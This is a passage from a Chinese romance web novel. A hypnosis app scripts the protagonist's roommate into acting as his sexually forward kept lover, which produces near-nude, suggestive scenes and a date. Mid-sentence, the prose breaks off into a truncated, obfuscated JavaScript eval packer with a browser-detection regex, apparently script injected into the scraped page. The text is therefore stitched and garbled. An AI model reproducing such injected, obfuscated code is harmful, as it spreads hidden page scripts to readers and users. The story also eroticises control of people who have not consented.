一般来说简清安不会特意记这些时间点,只是当时评选校草时有人抓拍了他在图书馆的一张照片,但最后他却以几票之差输给一个当时在校内小有名气的,已经被外面公司签约成练习生的学生。 简清安的原则一向是他可以不参加比赛,但参加了就要尽量拿到好名次,特别是几票之差的确让人不住 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“我没笑。”简清安说话的声音都在抖。 陆宇炀把纸巾递了过去。 “谢谢你,风云校草。”简清安接过纸巾,艰难地擦了擦眼角的眼泪。 他看着面如死灰的陆宇炀,难得直起身子认真说: “我没有调侃你的意思,你确实是两届加起来我见过的最能担上这个名头的。” 陆宇炀又开心了。 而简清安像是发现新大陆般翻着表白墙的投稿。 “这几张拍了你今天下午在休息区的照片,他们都夸你右脸好看……” 陆宇炀没好意思说他专门把右脸摆了出来。 “这个投稿说你开学才几天就被十几个人表白了。” 确实,陆宇炀点头,他也觉得自己魅力很大。 就是有男有女,甚至男的都快多的他脱敏了。 小时候其实还没那么多,自从开放同性可婚后,和他告白的男生人数就直线飙升,他都根本不知道自己会那么受男人欢迎。 “这个投稿说你经常出入夜店,玩得很花,身边的女朋友已经换了……” “谁造谣我!”陆宇炀一下子炸了毛, “我根本没有谈过,我洁身自好,清清白白!” “好好好……”简清安忙给对方顺毛, “洁身自好,清清白白,啊……” 陆宇炀毛被顺下来后,也顺利解决了后续作业。 简清安倒是很久没这么放松过了,和陆宇炀聊天也莫名让他有种回到校园,褪去几分社畜气息的感觉。 出了陆宇炀房间后,简清安见着时间也不早了,刷完牙打了两个哈欠,靠在床头稍微玩了会儿手机,就倒在床上彻底睡着了。 这一觉睡得他心满意足,只是习惯的生物钟还是让他很早就醒了。 不用上班,简清安又在床上磨蹭了几分钟,才终于艰难地摸向手机,看了眼时间,指节又去够床头柜的眼镜。 是周六。 简清安有种救赎感。 不用上班,不用见到上司,基本上也没机会见到周晟铭。 虽然他们可能会主动联系自己,但那又怎样,他是眼不见心不烦。 想到这,简清安大发慈悲地点进微信,看了眼好友申请。 其实昨天他回到公司就看见了,是周晟铭的好友申请。 ——申请内容就一句话【简清安先生^^】。 简清安把他晾着没管。 看时间,大概是催眠延迟时发的。 昨晚去辅导陆宇炀作业了,更是把他忘了。 现在心情好了点,简清安还是通过了。 毕竟对方是对面项目负责人,要加自己一个小员工,他有什么理由和资格拒绝。 只是简清安也随手给他备注了【融辉项目-帝盛集团-周总】。 要多生分有多生分。 说实话简清安通过的瞬间还是有些怕对方发消息过来的,这也是他为什么拖到现在才通过的原因。 他根本没有办法应对周晟铭。 不过还好,对方并没有发消息过来,或许现在还是清醒的状态。 简清安想到现在有些饿了,他依稀记得他昨晚没吃什么。 比起他规律的按部就班的工作计划,他的三餐就显得随意多了。他没有下厨的习惯,一般就工作日早餐路上随便买一份,午餐在公司食堂解决,晚餐也顺路买一份,或者点个外卖什么。 甚至很多时候都是随便对付一口。 休息日就更不用说了。 简清安想来应该是高中养成的习惯,那时三餐不配点学习资料都吃得于心有愧,后面上了A大他也从来没有松懈过学习,吃饭就更加随意。 现在倒是有点饿了。 简清安洗漱完,思考着究竟是点外卖,还是下楼去外面早餐店,又纠结着常点和常吃的几家早餐好像都有些吃腻了时…… 他走到了外边客厅。 一开始他听见厨房方向好像有动静,但他没怎么在意。 毕竟家里除了他就陆宇炀,陆宇炀确实会下厨。 但他似乎察觉到厨房的身影与往常似乎有些许区别,他转眸一看,差点直接撞墙上了。 简清安不知道自己是不是花了眼,瞬间睁大了双眸,想要仔细查看一番,却意识到眼前的景象不太适合仔细观看。 一具比例完美……锻炼得极好,背肌舒展,宽肩窄腰,线条流畅,比薄肌更有力量感,却极好地平衡了狰狞和雄性荷尔蒙的成年男性躯体。 这个距离看不见毛孔,只能让人欣赏他没有瑕疵的肌肤和漂亮的肌肉形状。 只是…… 对方全身上下,就只挂了件深灰色的围裙,系带有些松垮地绑在后腰,看起来也是一扯就掉的模样。 几乎全.裸,甚至没办法说真空了。 而厨房此刻也飘来淡淡的很诱人的食物香气。 简清安觉得自己周六一早起来有个裸男在自家厨房做早餐这件事还是太刺激了。 他觉得自己应该是睡懵了,准备逃回房间睡个回笼觉。 现实不会有那么荒诞的事情。 但就在此刻,对方似乎察觉到了他的动静,那头熟悉的红发转过身来,右手持着的餐叉沾了一点暗色的酱料,被陆宇炀漫不经心地用舌尖舔去,微厚的唇瓣被无意染得性感而润泽。 他似乎发现简清安的醒来,表露出异常的惊喜,随后歪了歪脑袋,殷红的发丝垂落,专注地看着他,低声道: “醒了,宝贝?” 17. 第 17 章 简清安觉得自己应该是没醒。 他的意思是如果能有个人能将他敲晕他会感激不尽。 眼前的景色确实香艳得不住让人心跳加速,口干舌燥,如果在梦里简清安可能半推半就地就过去了,但在现实,简清安不知道要不要感谢APP还没惨无人道到让他昨天接连应对三个……呃,绑定对象? 是的,从对方现在的姿态和话语,简清安可以很明显地看出,对方已经在催眠状态中了。 昨天再看一眼仿佛就要收费的肌肉现在近乎慷慨地显露了出来,深灰色的围裙松垮,懒散地挂着后颈,系带绑在后腰——这便是全部的穿戴措施,几乎等于全身上下只挂了一片布料。 深色布料与白皙肌肤相撞,躯体又完美兼具力量与美感,动作间仿佛能看见些若隐若现的不该看的地方…… 简清安有些无措地收回视线,感觉大清早起床就被冲击得头昏脑热,目光也无处安放。 这种事情就算经历多了,简清安还是很难做到镇静自若,只能将行动依托于那一点点理智,努力让自己不要逃避。 已经经历那么多次了,他该成长一些了。是的,他应该冷静下来,去与对方进行互动,然后再找到解决任务的…… “昨晚我是弄得太狠了,也没经过你的允许就控制不住……但我不是故意的, “也给你清理干净了,没有残留。 “不要怪我了……” 陆宇炀说话时目光闪躲,心虚的程度似乎不小,两边耳垂也红了,但唇瓣张合间嘴角却有种抑制不住的微妙餍足的弧度。 简清安险些被呛到。 这是在说什么。 谣言是可以当面造的吗? 什么是昨晚太狠……控制不住就……他们做什么了吗? 不过,很快他也反应过来,那应该是APP的“功劳”。 等意识到后,简清安的心情又有种诡异复杂的微妙。 因为他是不可能接受现阶段的情况随意发生什么,但在催眠状态下要推进任务,就只能按照剧本进行。 以他们的剧本身份,自己要是不做些什么,剧本的推进可能会出现问题,说不定会影响任务。 APP现在自行帮他安排了这段记忆…… 不知道算不算解决了他的麻烦之一。 简清安怀疑自己被APP PUA了,但他没有证据。 “你昨晚,确实是,太过分了……” 简清安想尝试通过互动去触发任务,便准备顺着对面的话说,顺便尝试能不能把握住主动权。 没想到在脑子里构思的是一句理所当然的质问语气,等从嘴边出来时,反倒有些像含羞带怯的嗔怪。 简清安都受不了自己像是被折腾得发颤的语气,悲痛地闭了闭眼,觉得自己除平静外的情绪还需要多练一下。 而陆宇炀已经将餐叉放好,朝他走来,在简清安闭眼的那个间隙,就从身后依赖地环住了他,说: “昨晚虽然是我先撩拨的,但你不是也答应了去我的房间‘辅导作业’吗? “还和我抱怨今天酒会裴则遇那个控制狂又开始怀疑你了,你还被迫弄了他满身的气息,要我好好帮你‘洗洗’。” 简清安的身体都僵了,身后的触感太过滚烫,并且对方身上只有一层浅薄的布料——恰好他穿的也是材质轻薄细腻的睡衣,脊背和后腰……甚至臀部在紧贴间都能感受到对方身上的肌肉起伏。 男人环着他的腰间,简清安虽然没试着挣脱,但也能感觉到用的力道不小,柔韧的触感混杂着暧昧的热度一并侵到他的身体。 即便客厅已经开了空调,但简清安还是感觉自己身上在发汗。 并且他不敢随意乱动。 因为不知道是不是他的错觉,他感觉自己的臀部好像蹭到了什么。 陆宇炀的唇瓣碰到了他的耳垂,轻拢慢捻似的轻轻摩挲了后,低声道: “昨天嫌冷的是你,空调开高后骑在我身上抱怨我身体太烫的又是你,昨晚我够听话了,别计较那么多了,嗯?” 陆宇炀平时的声线是一种很轻朗的磁性,听得出年轻恣意的少年气息,却又能很分明地感受到对方是成年男性的事实。 此刻刻意压低,含糊着不知是撒娇还是宠溺诱哄的语调,简清安脖颈连着耳垂便一并发热了起来。 让他恍惚间真有种他们在谈什么恋爱的错觉。 “我饿了。”简清安移眸,落荒而逃似的转移话题。 没想到陆宇炀下意识接了一句: “哪里饿了?” 简清安:…… 他真是受不了了。 好在听见他饿了后,陆宇炀也没过多继续纠缠的意思,而是缓缓松开了他,有些不满地走到他的面前,开口道: “怎么一直不看我?是我穿得还不够骚吗。” 简清安险些被他的话呛住,很想反驳谁会喜欢周末早上这样一个裸男在自己家里—— 只是话到了嘴边,他又被心底那点卑劣的坦诚绊住了。 这个时候,他又可耻地撒不了谎了。 “一般吧。”简清安憋出了这句。 陆宇炀不满的情绪更重: “你明明昨晚看着这套塌着腰磨被褥……” “哪有。”简清安惊得下意识反驳,结果又突然回忆起了什么。 等等,虽然没那么荒谬的……行为,但是这套“服饰”他确实有些眼熟。 好像是他昨晚睡前随手赞的擦边男视频。 ——不会吧,难道APP不仅把这点加进了剧本,还让陆宇炀…… 简清安回忆着回忆着走神了,视线也变得有些涣散。 陆宇炀看着把自己气笑了,说了句: “我倒是不知道,昨晚和我做过后你还有力气看别的男人。” 语调拈酸吃醋的,简清安下意识蹙了眉,思绪被对方扯回现实,也后知后觉意识到陆宇炀今天太不受控了。 牢牢地把控着主动权,他别说责备了,连质问的话语都无法说出。 于是简清安不动声色地说了一句: “啊,抱歉,走神了, “我没在想昨晚那个博主。” 在陆宇炀明显放松下来,忍不住表现出几分得意后,简清安将下一句接了上去: “我只是忽然想起了我的老公…… “不过感觉,你身材练得比他差些?” -- 陆宇炀深受打击。 作为“出轨对象”,最不能听的事情就是比不上原配了。 简清安在餐桌对面,没有察觉到对方的不忿与哀怨,只是卷着餐盘的黑椒牛排意面,不住在思考什么。 当余光不经意扫到陆宇炀时,他的视线又像是被烙到般收回。 其实他说的不是真话,陆宇炀和裴则遇只是身材与肤色的类型不同,严格来说并没有孰优孰劣之分。 他也是为了让陆宇炀“安分”点,才用自己“老公”的事情打击他。 但就是他发现自己真的能在脑海中比较他们身材时,他才意识到,上次视频通话他就已经把裴则遇的肉.体看光了……这次陆宇炀也是…… 他到底在做什么,他明明和他们没有任何关系。 简清安大脑有些空白,麻木地往嘴里塞牛排,结果切的时候没注意,牛排切得太大,塞的时候又走神了,汁水不小心就溅到了唇边。 简清安在心里叹了口气,舌尖卷走沾在唇瓣的汁液,又抬眸伸手去够抽纸—— 结果就看见吃到一半忽然按着餐桌站起的陆宇炀,俊美的面庞上神色似乎有些难以抑制的躁动。 简清安正想疑惑开口,就看见了对方下身某处很明显的起伏。 他指节一抖,夹紧抽纸,就缩回了指尖。 没想到下一秒,陆宇炀就拿走了餐桌上的抽纸,憋出一句: “我房间的用完了,拿一下,” 话出口后又欲盖弥彰地说一句, “不是因为你摸过,你别想多……!” 简清安沉默。 他认为正常人应该不会联想到这方面。 临了末了,不知道是不是刚刚在餐桌上琢磨了半天对策,最后陆宇炀哼哼唧唧地来一句: “你家那位中看有什么用……又不中用。” 简清安反应了半秒,才意识到他在提刚刚自己说裴则遇身材的事。 是了,不知道为什么在陆宇炀眼中,裴则遇是个中年阳痿早泄男。 “你……”简清安想说些什么。 “对了,我可能要弄很久,你可以先准备一下。”陆宇炀又非常认真地补充了一句。 简清安不知道为什么从陆宇炀这句中听出了得意洋洋的意味。 但他说完视线似乎停在自己脸上某处,随后像是再也忍耐不住地进房间了,所以简清安也没来得及问, 自己到底要“准备”什么。 -- 简清安和APP界面显示的【lv.3】大眼瞪小眼。 陆宇炀进房间后,他感觉坐在外边气氛有些局促,并且他能听见隐隐的摩挲和低喘声。 ……甚至,还能听见某人隐忍又恳求地低声念着自己的名字,一声又一声。 这套房什么都好,就是隔音差了点。 所以他好像也隐约明白,为什么上次和裴则遇视频通话时,陆宇炀能听得见房间内的动静了。 简清安是弄不清楚现在的男大是不是都那么精力充沛。 但他还是很可耻地缩回了自己的房间,并反锁上了房门。 ——任务没有被触发,证明催眠状态还在持续。 简清安不知道陆宇炀让他准备什么,思绪混乱的紧张之际,他点开了APP,想看看有什么新的提示。 结果就看见了升成【lv.3】的等级,以及上升的精力,耐力,敏感度和……性.欲。 显然是一件很糟糕的事情。 不知道是不是因为昨天吃了裴则遇和周晟铭两个“大经验包”的缘故。 等回过神来,简清安的指节已经试探性地碾上了自己的胳膊。 他的肌肤一如既往地容易弄出痕迹,即便只用了很轻的力。 但除了微疼外,好像没有其他特殊的感觉了。 简清安抿着唇,思索了几秒。 好像根据他看某些作品的经验,一般有感觉的不会是这些地方。 那要不要试试别的部位? 好像还有点时间。 思索间,简清安指尖一点点探着,迟疑地摸到下边柔腻轻薄的布料,指节无意识紧攥,动作间一点点往上掀—— 他还在胡思乱想地思索着。 似乎没有一定要现在明确的必要。 不过发生在自己身体的变化,还是尽早确定会比较好。 “咚咚——” 两声利落清晰的敲门声响起。 “那么慢吗?宝贝。” 一句磁性清朗的,刻意压低的暧昧声音响起。 简清安一惊,瞳孔瞬间骤缩,指节松开,衣摆又落了回去。 掩住腰间隐约玉白的颜色。 -- “你弄得可真快啊……”简清安一边开门,一边咬牙切齿地说着。 刚迅速结束战斗并且准备好一切美滋滋的陆宇炀:……? 陆宇炀气笑了,刚偃旗息鼓的部位大有因为这一句话彻底复苏的趋势。 “再开这样的玩笑今天都会出不了门的,宝贝。” 而在对方说这句话的同时,简清安将门彻底推开,视线中接入眼前少年身影的一秒,他不由得轻轻怔住。 他预想过对方可能穿得很暴露,抑或是还穿着刚刚那件围裙,但没想到面前的青年认认真真地打扮了一番自己—— 黑色的涂鸦字母印花的无袖背心,外搭是红黑色的机车服外套;脖颈叠戴了两条长金属项链,一粗一细。 下装是很有质感的暗黑色工装裤,酒红色的绑带恰如其分地装饰在硬挺的布料,互相碰撞出几分张扬恣意的味道。 右耳黑曜石的十字架单边耳坠闪着低调的光,就连殷红发色的发型都经过了精心打理。 让简清安脑海中只有几个字, 孔雀开屏, 还是红毛的。 同时他听到了陆宇炀的那句“出门”。 出什么门……? 简清安沉默了。 但他有种预感,如果这个时候真的问出这句,可能他今天真的出不了门了。 好在该死的催眠APP在这个给他解了围—— 【任务一:虽然你忙碌了一周,但时刻渴求男人滋润的你怎么愿意周末一个人独守空房,寂寞难耐。于是早已看倦了裴则遇那张老脸的你,准备和你包养的年轻漂亮男大来场火热刺激的约会~】 简清安先是怔住,随后唇角的弧度微微上扬。 纯粹是被气得不住想要发笑。 催眠APP也知道自己忙了一周啊。 那到底是拜谁所赐呢。 “你穿这件出去吗?” 陆宇炀忽然开口道。 青年微微低眸,明明是略显青涩的面庞,却因为绝对的身高优势,以及距离过近时,观察对方便只能俯视……所以姿态显得格外的压迫。 陆宇炀对简清安穿什么其实并没有太大意见。 毕竟对方是金主,自己打扮得精致漂亮,对得起对方付的价格是应该的。 对方可以怎么舒服怎么来。 但是,陆宇炀看着看着,不由得微微抿起了唇。 这件睡衣领口是不是开得太大了。 不仅能看见脖颈上鲜红的血珠一样的小痣,瓷白的锁骨也一览无余,甚至如果说动一下的话—— “那个,我……”简清安怕对方觉得自己不重视这场约会,绞尽脑汁地想要编出借口。 因为心虚,还忍不住退后了一步。 随着动作,胸膛前的布料微微荡开,那玉白肌肤上很淡的却无法忽视的色彩,就那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过他倒是不抱希望地想,基本都是浅色系基础款的衣服,对方能搭得有多不一样—— 还真能。 简清安看着全身镜中打底米白色长袖衬衫配浅棕色学院风马甲,衣领和袖口都被精心翻折好,下装是深棕色休闲长裤的自己,似乎是有点奇怪自己为什么从未想到这样搭配。 并且明明很简单的搭配,不知道为什么对方搭出的感觉就是不太一样。 只是…… 简清安扯了扯领口,看着手腕缠着几条领带正在研究比对哪条颜色更搭的陆宇炀,不觉得有些无奈: “这样穿会不会太热了?” 他不是陆宇炀,这样在外面穿走上一整天真的得备藿香正气水了。 他平时穿正装也是因为离公司近,恒讯的空调温度又低得不行。 陆宇炀就像是小心思被戳破,微微鼓着一侧腮帮子,似乎在经历很艰难的思想斗争。 最后勉强妥协地说一句: “但是那件长袖衬衫要留着,” 说着,他又像是为了掩盖自己某些心虚的念头,说了句, “我昨晚弄的痕迹,还在你胳膊那,都没有消掉呢。” 简清安听着他的话,迟疑地想着, 那,好像是刚刚自己实验APP加的敏感度时,碾出的痕迹吧。 -- 首次在外边进行任务,说心里没有一点紧张是不可能的。 夏季,A市的太阳依旧热烈且勤劳,今天虽然是一贯的晴朗,但体感的温度却还算舒适。 换言之,很适合外出约会逛街。 而简清安也意识到自己脊背冒出的冷汗不是因为闷热,而是因为忐忑。 毕竟先前再怎么危机的情况,再怎么牵扯纠缠不清的暧昧关系,再怎么羞耻不堪的任务,也都是在密闭的环境内进行,除了任务外,他唯一需要调整和控制的也只有自己的心态。 而现在在A市市中心繁华的商业步行街,往来的行人形色各异,步履不停…… 他却心虚地和一个因为催眠APP而变成“被自己包养的小三”的年轻男大,在这里进行“火热暧昧”的约会。 紧张的驱动下,让简清安觉得擦肩而过的每一个行人,都有可能变成落在他们身上的视线。 不可控的风险大大增加了。 青年心里忐忑间越发的局促,不知是因为潜意识想逃避还是太过心虚,只得巴巴地垂下眼睫,恍惚间竟然显得有些可怜。 可他还得告诉自己维持冷静理智…… 自然垂落的手臂中,右手的指节无意刮蹭过某处地方。 简清安很快反应过来,那好像是某人的指尖。 不知道是这种紧绷的情况下人的感官容易被无限放大,抑或是APP增加的敏感度起作用, 简清安甚至能感受到陆宇炀的指尖是微微发着烫的,在轻微的磨蹭间,似乎还能感受到一层若有似无的薄茧。 就像是纯爱电影中,男主好不容易约得另一方出来约会, 在街上时想牵手,却局促得像毛头小子般,青涩又笨拙的,一点点从相触的指尖开始试探。 和今天早上不管不顾的堪称放浪的形象形成了鲜明对比。 甚至让简清安有种错觉,在自己身边的不是剧本中的“小三”, 而是昨晚那位认真中透着点纯情的陆宇炀。 不过。 简清安很快想到什么,被激起涟漪的眼眸在瞬间又恢复到往常的清冷平静。 如果在陆宇炀清醒的状态下,别说牵手了,压根就不可能让他靠得那么近吧。 思索间,右臂已经摆了几个来回,指尖相触间不断摩擦着升高温度,陆宇炀也终于从小心翼翼的试探,到摸上对方的指节,试图扣入他的指间。 指骨刚拢上手掌时,就被简清安毫不犹豫地抽离了右手。 陆宇炀抓了个空,步伐下意识停滞,低眸盯着自己空荡的掌心,抿着唇,一言不发。 而抽回手掌的简清安心脏也莫名其妙乱跳了起来。 但他知道自己做得没问题。 约会只是被APP推着走的任务,他总不能真当成谈恋爱,就算是清醒的陆宇炀也会感谢他的这个举动的。 但陆宇炀从后面快步追了过来,不甘地说了一句: “你老公不在这里吧,今天明明是我们的约会,就算我们当街热吻又有什么关系呢?!” 陆宇炀这句话说的声音有些大,简清安警惕的神经瞬间炸开,迅速瞥了眼发现没注意到这边后,登时顿住脚步回头说: “陆宇炀,注意一下你的身份,你现在只是——” “哎,陆哥,” 一个青年的声音很惊喜地叫唤道, “没想到那么凑巧,在这里也能遇见你啊。 “咦?对了,这位是……”